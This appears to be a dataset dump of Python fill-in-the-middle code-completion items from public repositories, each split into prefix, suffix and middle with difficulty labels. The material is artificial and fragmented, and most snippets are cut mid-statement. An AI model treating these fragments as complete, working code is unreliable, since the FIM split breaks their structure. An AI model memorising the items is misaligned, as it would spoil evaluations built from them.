text
stringlengths
232
16.3k
domain
stringclasses
1 value
difficulty
stringclasses
3 values
meta
dict
<|fim_prefix|># repo: pushkarmishra/AuthorProfilingAbuseDetection path: /twitter_model.py import numpy import os import random os.environ['PYTHONHASHSEED'] = '0' numpy.random.seed(57) random.seed(75) os.environ['KERAS_BACKEND'] = 'theano' if os.environ['KERAS_BACKEND'] == 'tensorflow': import tensorflow tenso...
code_fim
hard
{ "lang": "python", "repo": "pushkarmishra/AuthorProfilingAbuseDetection", "path": "/twitter_model.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: truechuan/sklearn_case path: /uvAndPriceToOrder.py #!/usr/bin/python # -*- coding: utf-8 -*- import numpy as np from sklearn.linear_model import LinearRegression import matplotlib.pyplot as plt from mpl_toolkits.mplot3d import Axes3D from itertools import islice import csv <|fim_suffix|>conditi...
code_fim
hard
{ "lang": "python", "repo": "truechuan/sklearn_case", "path": "/uvAndPriceToOrder.py", "mode": "psm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_suffix|>condition = np.vstack([inputUv, inputPrice]).T print '订单量:' + str(model.predict(condition)) # fig = plt.figure() # ax = Axes3D(fig) # X, Y, Z = uvCount, price, orderCount # # ax.scatter(X, Y, Z, c='r') # # for index in range(len(uvCount)): # print index # calOrderCount.append(model.predict([uvC...
code_fim
medium
{ "lang": "python", "repo": "truechuan/sklearn_case", "path": "/uvAndPriceToOrder.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_suffix|> # has to check attr because in subscription case it returns AnonymousObservable if hasattr(result, 'errors') and result.errors: first_error = result.errors[0] if hasattr(first_error, 'original_error') and first_error.original_error: raise result.errors[0].original_error...
code_fim
hard
{ "lang": "python", "repo": "david-alexander-white/dagster", "path": "/python_modules/dagster-graphql/dagster_graphql/test/utils.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_prefix|># repo: david-alexander-white/dagster path: /python_modules/dagster-graphql/dagster_graphql/test/utils.py from dagster_graphql.schema import create_schema from graphql import graphql <|fim_suffix|> # has to check attr because in subscription case it returns AnonymousObservable if hasattr(result, ...
code_fim
hard
{ "lang": "python", "repo": "david-alexander-white/dagster", "path": "/python_modules/dagster-graphql/dagster_graphql/test/utils.py", "mode": "psm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_prefix|># repo: gariel/lazyetl path: /tests/etl/jobrunner_test.py from unittest import TestCase import steps from jobrunner import JobRunner from structure import ( Parameter, Field, Step, Sequence, Link, Job ) class JobRunnerTest(TestCase): def set_step(self, func): <|fim_suffix|...
code_fim
hard
{ "lang": "python", "repo": "gariel/lazyetl", "path": "/tests/etl/jobrunner_test.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> job = Job() job.steps.append(self.create_step("1", "1asd", "out")) job.steps.append(self.create_step("2", "2{{out}}", "out2")) seq = Sequence() seq.first = "1" job.sequence = seq self.jr.run(job)<|fim_prefix|># repo: gariel/lazyetl path: /tests/e...
code_fim
hard
{ "lang": "python", "repo": "gariel/lazyetl", "path": "/tests/etl/jobrunner_test.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: kamyu104/LeetCode-Solutions path: /Python/longest-subarray-of-1s-after-deleting-one-element.py # Time: O(n) # Space: O(1) class Solution(object): def longestSubarray(self, nums): <|fim_suffix|># Time: O(n) # Space: O(1) class Solution2(object): def longestSubarray(self, nums): ...
code_fim
hard
{ "lang": "python", "repo": "kamyu104/LeetCode-Solutions", "path": "/Python/longest-subarray-of-1s-after-deleting-one-element.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> """ :type nums: List[int] :rtype: int """ result, count, left = 0, 0, 0 for right in xrange(len(nums)): count += (nums[right] == 0) while count >= 2: count -= (nums[left] == 0) left += 1 res...
code_fim
medium
{ "lang": "python", "repo": "kamyu104/LeetCode-Solutions", "path": "/Python/longest-subarray-of-1s-after-deleting-one-element.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> Arguments: text -- user-input, typically transcribed speech mic -- used to interact with the user (for both input and output) profile -- contains information related to the user (e.g., phone number) """ if 'motion' not in profile or 'binary' not i...
code_fim
hard
{ "lang": "python", "repo": "Ghostbird/jasper-client", "path": "/client/modules/Motion.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: Ghostbird/jasper-client path: /client/modules/Motion.py # -*- coding: utf-8-*- from __future__ import print_function from client import app_utils import re import os.path import subprocess import random WORDS = ["START", "STOP", "WATCHING", "LOOKING", "GUARDING"] PRIORITY = 3 MOTION_BINARY = '...
code_fim
medium
{ "lang": "python", "repo": "Ghostbird/jasper-client", "path": "/client/modules/Motion.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: 6high/learningML path: /NaiveBayesian/NaiveBayesian.py # -*- coding: utf-8 -*- from numpy import * SIZE_OF_DATA = 5 SIZE_OF_TEST = 5 def read_input(filename): with open(filename) as fr: corpus = [] for text in fr.readlines()[1:]: for word in text.strip().split('...
code_fim
medium
{ "lang": "python", "repo": "6high/learningML", "path": "/NaiveBayesian/NaiveBayesian.py", "mode": "psm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_suffix|> trainDataSet = trainDataSet.transpose() emotionMat = dot(trainDataSet, dataShares) # 第i个词和情感的相关度 count = sum(trainDataSet) for i, word in enumerate(emotionMat): emotionMat[i] = word * sum(trainDataSet[i]) / count # 由词推断出情感的概率 = # 当前文本已知情感出现词的概率 ...
code_fim
hard
{ "lang": "python", "repo": "6high/learningML", "path": "/NaiveBayesian/NaiveBayesian.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_prefix|># repo: leonhard-s/auraxium path: /tests/integration/models_test.py """Test cases for the object representations of PS2 payloads.""" import json import os import unittest from typing import Any, Dict, List, Optional, Type from auraxium.base import Ps2Object from auraxium.models.base import RESTPayload ...
code_fim
hard
{ "lang": "python", "repo": "leonhard-s/auraxium", "path": "/tests/integration/models_test.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> def get_id(type_: Dict[str, str]) -> int: """A helper function to improve test case readability.""" return int(type_[f'{type_name}_id']) # ArmorFacing filepath = os.path.join(directory, 'armor_facing.json') type_name = 'armor_facing' with op...
code_fim
hard
{ "lang": "python", "repo": "leonhard-s/auraxium", "path": "/tests/integration/models_test.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: fuyingdi/Horrible-Trackpad path: /app.py from tkinter import * class Root(Tk): dots = [[]] slots = [[], [], [], [], []] class Rect: def __init__(self, x1,x2,y1,y2): self.x1 = x1 self.x2 = x2 self.y1 = y1 self.y2 = y2 class ...
code_fim
hard
{ "lang": "python", "repo": "fuyingdi/Horrible-Trackpad", "path": "/app.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> self.canvas = Canvas(self, width=233, height=286, bg='black') self.num_pad_image = PhotoImage(file="number_pad.png") self.canvas.create_image(0,0, image=self.num_pad_image, anchor=NW) self.canvas.pack() def init_number_pad(self): number_pad_slot = [[]] ...
code_fim
medium
{ "lang": "python", "repo": "fuyingdi/Horrible-Trackpad", "path": "/app.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: Aidenwebb/connectwise-rest-api-python path: /test/test_company.py import unittest import connectwise from connectwise import client as _client import test as _test class DataTests(_test.TestCase): def setUp(self): auth = "" site = '' <|fim_suffix|> def test_get_function...
code_fim
medium
{ "lang": "python", "repo": "Aidenwebb/connectwise-rest-api-python", "path": "/test/test_company.py", "mode": "psm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_suffix|> self.client = connectwise.client.Client(base_url=site, auth_token=auth) def test_get_functions(self): self.assertEqual(200, self.client.company.configurations.get(self.client).status_code) self.assertEqual(200, self.client.company.companies.get(self.client).status_code) ...
code_fim
medium
{ "lang": "python", "repo": "Aidenwebb/connectwise-rest-api-python", "path": "/test/test_company.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_prefix|># repo: DanielLee343/funcX path: /funcx_endpoint/funcx_endpoint/executors/high_throughput/messages.py import json import uuid from abc import ABC, abstractmethod from enum import Enum, auto from struct import Struct from typing import Tuple MESSAGE_TYPE_FORMATTER = Struct('b') class MessageType(Enum): ...
code_fim
hard
{ "lang": "python", "repo": "DanielLee343/funcX", "path": "/funcx_endpoint/funcx_endpoint/executors/high_throughput/messages.py", "mode": "psm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_suffix|> class Task(Message): """ Task message from the forwarder->interchange """ type = MessageType.TASK def __init__(self, task_id: str, container_id: str, task_buffer: str, raw_buffer=None): super().__init__() self.task_id = task_id self.container_id = container_id...
code_fim
hard
{ "lang": "python", "repo": "DanielLee343/funcX", "path": "/funcx_endpoint/funcx_endpoint/executors/high_throughput/messages.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_suffix|> def __init__(self, task_statuses, container_switch_count): super().__init__() self.task_statuses = task_statuses self.container_switch_count = container_switch_count @classmethod def unpack(cls, msg): container_switch_count = int.from_bytes(msg[:10], 'little') ...
code_fim
hard
{ "lang": "python", "repo": "DanielLee343/funcX", "path": "/funcx_endpoint/funcx_endpoint/executors/high_throughput/messages.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_prefix|># repo: campadrenalin/pmast path: /pmast/__init__.py import ast import inspect from collections import namedtuple def ast_type(text): if text == '*': return ast.AST if isinstance(text, type): return text # Already translated if not hasattr(ast, text): raise TypeError(...
code_fim
hard
{ "lang": "python", "repo": "campadrenalin/pmast", "path": "/pmast/__init__.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> for node in ast.walk(parse(tree)): for (pattern, callback) in self.patterns: match = pattern.match(node) if match: callback(data, *match) return data<|fim_prefix|># repo: campadrenalin/pmast path: /pmast/__init__.py import as...
code_fim
medium
{ "lang": "python", "repo": "campadrenalin/pmast", "path": "/pmast/__init__.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: eagle9527/heartbeats path: /src/app/migrations/0008_service_notify_to.py # Generated by Django 2.0.3 on 2018-03-20 02:54 from django.db import migrations, models <|fim_suffix|> dependencies = [ ('app', '0007_ping'), ] operations = [ migrations.AddField( ...
code_fim
easy
{ "lang": "python", "repo": "eagle9527/heartbeats", "path": "/src/app/migrations/0008_service_notify_to.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> dependencies = [ ('app', '0007_ping'), ] operations = [ migrations.AddField( model_name='service', name='notify_to', field=models.TextField(default='{}'), ), ]<|fim_prefix|># repo: eagle9527/heartbeats path: /src/app/migrations...
code_fim
easy
{ "lang": "python", "repo": "eagle9527/heartbeats", "path": "/src/app/migrations/0008_service_notify_to.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: CodeSenpii/RaspberryPi_Arduino_Communication path: /Python/send_and_listen.py import random import socket import struct import time HEARTBEAT_FMT = "hh" <|fim_suffix|> data, address = sock.recvfrom(1024) count, random_val = struct.unpack(HEARTBEAT_FMT, data) print("I rec...
code_fim
hard
{ "lang": "python", "repo": "CodeSenpii/RaspberryPi_Arduino_Communication", "path": "/Python/send_and_listen.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> data, address = sock.recvfrom(1024) count, random_val = struct.unpack(HEARTBEAT_FMT, data) print("I received count " + str(count) + " and value " + str(random_val)) count += 1 loop(8000)<|fim_prefix|># repo: CodeSenpii/RaspberryPi_Arduino_Communication path: /Python/sen...
code_fim
hard
{ "lang": "python", "repo": "CodeSenpii/RaspberryPi_Arduino_Communication", "path": "/Python/send_and_listen.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: ochsec/arktracker path: /notebooks/lib.py import os import math import requests import io import sqlite3 import pandas as pd import numpy as np from datetime import date, datetime, timedelta from dotenv import load_dotenv def connect_db(): conn = sqlite3.connect("../db/ArkTracker.db") pr...
code_fim
hard
{ "lang": "python", "repo": "ochsec/arktracker", "path": "/notebooks/lib.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> new_companies = [] for i, irow in df1.iterrows(): found = False company = irow['company'] for j, jrow in df2.iterrows(): if jrow['company'] == company: found = True if not found: new_companies.append(company) print(...
code_fim
hard
{ "lang": "python", "repo": "ochsec/arktracker", "path": "/notebooks/lib.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> url="http://www.baidu.com" result = urlfetch.fetch(url) if result.status_code == 200: #print result.content self.response.out.write(result.content) else: self.response.out.write('My error!') def main(): application = webapp.WSGIApplication([('/', MainHandler)], ...
code_fim
medium
{ "lang": "python", "repo": "srijib/gae", "path": "/mypyproxy/main.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_prefix|># repo: srijib/gae path: /mypyproxy/main.py #!/usr/bin/python # -*- coding: utf-8 -*- from google.appengine.ext import webapp from google.appengine.ext.webapp import util from google.appengine.api import urlfetch import re class MainHandler(webapp.RequestHandler): def get(self): <|fim_suffix|>...
code_fim
hard
{ "lang": "python", "repo": "srijib/gae", "path": "/mypyproxy/main.py", "mode": "psm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_suffix|> tags = tuple() if not args.tags else [x.strip().lower().replace(" ", "-") for x in args.tags.split(",") if x.strip()] if args.directory: for count in org.add_images(args.directory, tags=tags): logger.info("Processed: {0}".format(count))<|fi...
code_fim
hard
{ "lang": "python", "repo": "cdgriffith/PyFoto", "path": "/pyfoto/cli.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: cdgriffith/PyFoto path: /pyfoto/cli.py #!/usr/bin/env python # -*- coding: UTF-8 -*- import logging from pyfoto.organizer import Organize from pyfoto.config import get_stream_logger def argument_parser(): import argparse parser = argparse.ArgumentParser(description="PyFoto CLI") pa...
code_fim
hard
{ "lang": "python", "repo": "cdgriffith/PyFoto", "path": "/pyfoto/cli.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: gauth-fr/syncFolders path: /confighelper.py import logging import loghelper logger = logging.getLogger(__name__) tabbed_logger = loghelper.TabbedAdapter(logger, {}) def is_folder_config_valid(index_config,folder_config): ret=True if "title" not in folder_config or not folder_config[...
code_fim
hard
{ "lang": "python", "repo": "gauth-fr/syncFolders", "path": "/confighelper.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> return ret def is_notifications_config_valid(notifications_config): ret=True if "filetypes" not in notifications_config or not notifications_config["filetypes"]: tabbed_logger.warning("Notifications configuration - No filetypes list defined",tab=1) ret= False if not isi...
code_fim
hard
{ "lang": "python", "repo": "gauth-fr/syncFolders", "path": "/confighelper.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: DanilDelegator/Street-Party path: /FaceTime/frida/replay.py # Copyright 2018 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/li...
code_fim
medium
{ "lang": "python", "repo": "DanilDelegator/Street-Party", "path": "/FaceTime/frida/replay.py", "mode": "psm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_suffix|> session = frida.attach("avconferenced") code = open('replay.js', 'r').read() script = session.create_script(code); script.on("message", on_message) script.load() print("Press Ctrl-C to quit") sys.stdin.read()<|fim_prefix|># repo: DanilDelegator/Street-Party path: /FaceTime/frida/replay.py # Copyright ...
code_fim
medium
{ "lang": "python", "repo": "DanilDelegator/Street-Party", "path": "/FaceTime/frida/replay.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_prefix|># repo: Russ76/navrep path: /navrep/envs/ianenv.py from __future__ import print_function import time import gc import numpy as np from pepper_2d_iarlenv import parse_iaenv_args, IARLEnv, check_iaenv_args import gym from gym import spaces from pandas import DataFrame from navrep.envs.scenario_list import...
code_fim
hard
{ "lang": "python", "repo": "Russ76/navrep", "path": "/navrep/envs/ianenv.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> def step(self, action): self.steps_since_reset += 1 self.total_steps += 1 # action = np.array([action[0], action[1], 0.]) # no rotation obs, reward, done, info = self.iarlenv.step(action, ONLY_FOR_AGENT_0=True) timed_out = self.iarlenv.rlenv.episode_step[0] >= ...
code_fim
hard
{ "lang": "python", "repo": "Russ76/navrep", "path": "/navrep/envs/ianenv.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: joschout/tilde path: /mai_version/test_datasets/MLE_test/MLE_test.py from typing import Optional from mai_version.trees.tree_converter import MLETreeToProgramConverter from mai_version.IO.input_format import KnowledgeBaseFormat from mai_version.IO.parsing_settings.setting_parser import SettingP...
code_fim
hard
{ "lang": "python", "repo": "joschout/tilde", "path": "/mai_version/test_datasets/MLE_test/MLE_test.py", "mode": "psm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_suffix|> # do_labeled_examples_get_correctly_classified_keys(examples, program, prediction_goal, index_of_label_var, # possible_labels, background_knowledge) if use_clausedb: run_keys_clausedb(file_name_labeled_examples, file_name_settings) else: ...
code_fim
hard
{ "lang": "python", "repo": "joschout/tilde", "path": "/mai_version/test_datasets/MLE_test/MLE_test.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_prefix|># repo: industrial-optimization-group/researchers-night path: /old experiments/UI_phone.py import dash from dash.exceptions import PreventUpdate import dash_core_components as dcc import dash_html_components as html from dash.dependencies import Input, Output, State import dash_bootstrap_components as db...
code_fim
hard
{ "lang": "python", "repo": "industrial-optimization-group/researchers-night", "path": "/old experiments/UI_phone.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> if selectedData is None: raise PreventUpdate point_id = selectedData["points"][0]["pointIndex"] point = front.loc[point_id] y_new = point.values if fig is not None: if len(fig["data"]) == 1: y = np.asarray(fig["data"][0]["y"]) else: y = ...
code_fim
hard
{ "lang": "python", "repo": "industrial-optimization-group/researchers-night", "path": "/old experiments/UI_phone.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|>= int(entrada[2]) if x == c: soma += 1 d = int(entrada[3]) if x == d: soma += 1 e = int(entrada[4]) if x == e: soma += 1 print(soma)<|fim_prefix|># repo: matheus258/Python_URI path: /Python_URI/2006.py x = int(input()) soma = 0 entrada = input().split() a = int(entrada[0]) <|fim_middle|>if x...
code_fim
medium
{ "lang": "python", "repo": "matheus258/Python_URI", "path": "/Python_URI/2006.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: matheus258/Python_URI path: /Python_URI/2006.py x = int(input()) soma = 0 entrada = input().split() a = int(entrada[0]) if x == a: soma += 1 b = int(entrada[1]) if x == b: soma += 1 c <|fim_suffix|>: soma += 1 e = int(entrada[4]) if x == e: soma += 1 print(soma)<|fim_middle|>= in...
code_fim
medium
{ "lang": "python", "repo": "matheus258/Python_URI", "path": "/Python_URI/2006.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> def main(): # Convert the train and val datasets into .tfrecords format convert_dataset(os.path.join(FLAGS.data_dir, 'train'), os.path.join(FLAGS.out, 'train.tfrecords'), FLAGS.color) if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument( '--data_dir'...
code_fim
hard
{ "lang": "python", "repo": "cfosco/deepfake_detection", "path": "/models/deep_motion_mag_tf/convert_3frames_data_to_tfrecords.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> # Convert the train and val datasets into .tfrecords format convert_dataset(os.path.join(FLAGS.data_dir, 'train'), os.path.join(FLAGS.out, 'train.tfrecords'), FLAGS.color) if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument( '--data_dir', typ...
code_fim
hard
{ "lang": "python", "repo": "cfosco/deepfake_detection", "path": "/models/deep_motion_mag_tf/convert_3frames_data_to_tfrecords.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: cfosco/deepfake_detection path: /models/deep_motion_mag_tf/convert_3frames_data_to_tfrecords.py import argparse import os import glob import sys import numpy as np from tqdm import tqdm import cv2 import tensorflow as tf import json FLAGS = None def _float_feature(value): return tf.train.Fe...
code_fim
hard
{ "lang": "python", "repo": "cfosco/deepfake_detection", "path": "/models/deep_motion_mag_tf/convert_3frames_data_to_tfrecords.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|>def gather_info(): info = {'ip': get_ip(), 'hostname': get_hostname(), 'mac': get_mac(), 'localtime': time.time() } return info def serve_tcp(): while True: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: print(...
code_fim
hard
{ "lang": "python", "repo": "wonkoderverstaendige/BeholderPi", "path": "/scripts/services/discovery/beholder_discovery_sender.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: wonkoderverstaendige/BeholderPi path: /scripts/services/discovery/beholder_discovery_sender.py #!/usr/bin/env python3 """Send IP and hostname information. As a broadcast message via UDP, or TCP to a known host IP.""" import socket import time import sys import json import uuid if len(sys.argv) ...
code_fim
hard
{ "lang": "python", "repo": "wonkoderverstaendige/BeholderPi", "path": "/scripts/services/discovery/beholder_discovery_sender.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: doronz88/armulator path: /armulator/armv6/opcodes/thumb_instruction_set/thumb_instruction_set_encoding_16_bit/thumb_data_processing/mul_t1.py from armulator.armv6.opcodes.abstract_opcodes.mul import Mul from armulator.armv6.opcodes.opcode import Opcode from armulator.armv6.configurations import a...
code_fim
medium
{ "lang": "python", "repo": "doronz88/armulator", "path": "/armulator/armv6/opcodes/thumb_instruction_set/thumb_instruction_set_encoding_16_bit/thumb_data_processing/mul_t1.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> def is_pc_changing_opcode(self): return False @staticmethod def from_bitarray(instr, processor): rdm = instr[13:16] rn = instr[10:13] setflags = not processor.in_it_block() if arch_version() < 6 and rdm.uint == rn.uint: print "unpredictable"...
code_fim
medium
{ "lang": "python", "repo": "doronz88/armulator", "path": "/armulator/armv6/opcodes/thumb_instruction_set/thumb_instruction_set_encoding_16_bit/thumb_data_processing/mul_t1.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> pass def flush_entities(self, as_scene, as_main_assembly, as_project): logger.debug(f"appleseed: Flushing archive asset entity for {self.orig_name} to project") as_main_assembly.assemblies().insert(self.__ass) self.__ass = as_main_assembly.assemblies().get_by_name(self...
code_fim
hard
{ "lang": "python", "repo": "geckguy/blenderseed", "path": "/translators/objects/archive_assembly.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: geckguy/blenderseed path: /translators/objects/archive_assembly.py # # This source file is part of appleseed. # Visit http://appleseedhq.net/ for additional information and resources. # # This software is released under the MIT license. # # Copyright (c) 2019 Jonathan Dent, The appleseedhq Organi...
code_fim
hard
{ "lang": "python", "repo": "geckguy/blenderseed", "path": "/translators/objects/archive_assembly.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> @classmethod def fromConfig(cls): config = ConfigValues() start = config.values["defaultSettings"]["start"] peep = config.values["defaultSettings"]["peep"] freq = config.values["defaultSettings"]["freq"] ratio = config.values["defaultSettings"]["ratio"] ...
code_fim
hard
{ "lang": "python", "repo": "OperationAIR/HumanInterface", "path": "/src/models/mcuSettingsModel.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_prefix|># repo: OperationAIR/HumanInterface path: /src/models/mcuSettingsModel.py import struct from utils.config import ConfigValues from utils.math import pressure_to_cm_h2o, pressure_to_pa class MCUSettings: def __init__(self, start, peep, freq, ratio, pressure, oxygen): self.start = int(start...
code_fim
hard
{ "lang": "python", "repo": "OperationAIR/HumanInterface", "path": "/src/models/mcuSettingsModel.py", "mode": "psm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_suffix|> response = payfac_agreement.post_by_legalEntityId("21003",legalEntityAgreementCreateRequest) self.assertIsNotNone(response['transactionId']) legalEntityAgreement2 = generatedClass.legalEntityAgreement.factory() legalEntityAgreement.set_agreementVersion("agreementVersion1"...
code_fim
hard
{ "lang": "python", "repo": "Vantiv/payfac-mp-sdk-python", "path": "/test/functional/test_payfac_agreement.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: Vantiv/payfac-mp-sdk-python path: /test/functional/test_payfac_agreement.py import unittest from payfacMPSdk import payfac_agreement, generatedClass, utils from dateutil.parser import parse class TestAgreement(unittest.TestCase): def test_get_by_legalEntityId(self): response = payfa...
code_fim
medium
{ "lang": "python", "repo": "Vantiv/payfac-mp-sdk-python", "path": "/test/functional/test_payfac_agreement.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> response = payfac_agreement.post_by_legalEntityId("21003",legalEntityAgreementCreateRequest) self.assertIsNotNone(response['transactionId']) legalEntityAgreement2 = generatedClass.legalEntityAgreement.factory() legalEntityAgreement.set_agreementVersion("agreementVersion1")...
code_fim
hard
{ "lang": "python", "repo": "Vantiv/payfac-mp-sdk-python", "path": "/test/functional/test_payfac_agreement.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|>RS_PER_CLIENT = 32 CLIENT_MOUNT_POINT = "/mnt/test_workdir" FILE_NAMES_PATH = "filenames.dat"<|fim_prefix|># repo: samuelsh/pyfs_stress path: /config/__init__.py CTRL_MSG_PORT = 5557 CLIENT_MSG_PORT = 5558 CLIENT_PROXY_FRONTEND = 6000 PUBSUB_LOGGER_PORT <|fim_middle|>= 5559 MAX_FILES_PER_DIR = 10000 SET...
code_fim
medium
{ "lang": "python", "repo": "samuelsh/pyfs_stress", "path": "/config/__init__.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: samuelsh/pyfs_stress path: /config/__init__.py CTRL_MSG_PORT = 5557 CLIENT_MSG_PORT = 5558 CLIENT_PROXY_FRONTEND = 6000 PUBSUB_LOGGER_PORT <|fim_suffix|>YNAMO_PATH = '~/qa/dynamo' DYNAMO_BIN_PATH = '~/qa/dynamo/client/dynamo_starter.py' MAX_WORKERS_PER_CLIENT = 32 CLIENT_MOUNT_POINT = "/mnt/test_...
code_fim
medium
{ "lang": "python", "repo": "samuelsh/pyfs_stress", "path": "/config/__init__.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: thejohnfreeman/picard path: /tests/test_rule.py """Tests for general rules.""" import logging import pytest # type: ignore <|fim_suffix|>@pytest.mark.asyncio async def test_rule(): """Test a basic rule.""" # pylint: disable=unused-argument @picard.rule() async def target_1(cont...
code_fim
medium
{ "lang": "python", "repo": "thejohnfreeman/picard", "path": "/tests/test_rule.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|>@pytest.mark.asyncio async def test_rule(): """Test a basic rule.""" # pylint: disable=unused-argument @picard.rule() async def target_1(context): return 1 @picard.rule(target_1) async def target_2(context, one): return one + 1 @picard.rule(two=target_2) asy...
code_fim
medium
{ "lang": "python", "repo": "thejohnfreeman/picard", "path": "/tests/test_rule.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: m-takeuchi/ilislife_wxp path: /sequence.py ### Caution: Python is sensitive for indentation. Do use "Space" insted of "Tab". dV = 50 # (V) Minimum volgage step, which must be a dvisor for holding voltages. dt_meas = 1 #(s) measurement interval dt_op = 1 # (s) time per step for Ve change #SEQ = [[...
code_fim
hard
{ "lang": "python", "repo": "m-takeuchi/ilislife_wxp", "path": "/sequence.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|>[3600, DT],\ [3650, DT],\ [3700, DT],\ [3750, DT],\ [3800, DT],\ [3850, DT],\ [3900, DT],\ [3950, DT],\ [4000, 2*DT],\ [4050, 2*DT],\ [4100, 2*DT],\ [4150, 2*DT],\ [4200, 2*DT],\ [4250, 2*DT],\ ...
code_fim
hard
{ "lang": "python", "repo": "m-takeuchi/ilislife_wxp", "path": "/sequence.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> client = client_for(Service(processes=[SpotChecker()])) datainputs = "dataset_opendap=@xlink:href={0};test=CF-1.6".format(TESTDATA['test_opendap']) resp = client.get( service='WPS', request='Execute', version='1.0.0', identifier='spotchecker', datainputs=datainputs) ...
code_fim
medium
{ "lang": "python", "repo": "bird-house/hummingbird", "path": "/tests/test_wps_spotchecker.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_prefix|># repo: bird-house/hummingbird path: /tests/test_wps_spotchecker.py import pytest from pywps import Service from pywps.tests import assert_response_success from .common import TESTDATA, client_for from hummingbird.processes.wps_spotchecker import SpotChecker def test_wps_spotchecker_file(): <|fim_suff...
code_fim
hard
{ "lang": "python", "repo": "bird-house/hummingbird", "path": "/tests/test_wps_spotchecker.py", "mode": "psm", "license": "Apache-2.0", "source": "the-stack-v2" }
